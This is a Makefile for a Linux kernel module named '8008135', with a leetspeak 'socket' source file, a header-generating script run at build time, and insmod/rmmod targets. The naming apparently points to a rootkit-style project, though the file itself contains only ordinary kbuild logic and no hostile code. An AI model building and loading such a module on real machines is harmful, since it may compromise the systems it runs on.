You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
40 lines
728 B
Makefile
40 lines
728 B
Makefile
# Module name
|
|
MNAME := 8008135
|
|
|
|
# Build
|
|
MODULEDIR := /lib/modules/$(shell uname -r)
|
|
BUILDDIR := $(MODULEDIR)/build
|
|
KERNELDIR := $(MODULEDIR)/kernel
|
|
|
|
# Source files
|
|
SRCS_S := src
|
|
LIBS_S := src/libs
|
|
INCL_S := src/include
|
|
|
|
# Header files
|
|
SRCS_H := $(PWD)/$(SRCS_S)/headers
|
|
LIBS_H := $(PWD)/$(LIBS_S)/headers
|
|
INCL_H := $(PWD)/$(INCL_S)/headers
|
|
|
|
obj-m += $(MNAME).o
|
|
# Core
|
|
$(MNAME)-y += src/$(MNAME).o
|
|
$(MNAME)-y += src/50ck3t.o
|
|
|
|
# Includes for header files etc
|
|
ccflags-y := -I$(SRCS_H) -I$(LIBS_H) -I$(INCL_H)
|
|
|
|
all:
|
|
$(shell $(SRCS_S)/cr3473_5y563n.sh)
|
|
$(MAKE) -C $(BUILDDIR) M=$(PWD) modules
|
|
|
|
load:
|
|
insmod $(MNAME).ko
|
|
|
|
unload:
|
|
rmmod $(MNAME)
|
|
|
|
clean:
|
|
-rm $(SRCS_H)/5y563n.h
|
|
$(MAKE) -C $(BUILDDIR) M=$(PWD) clean
|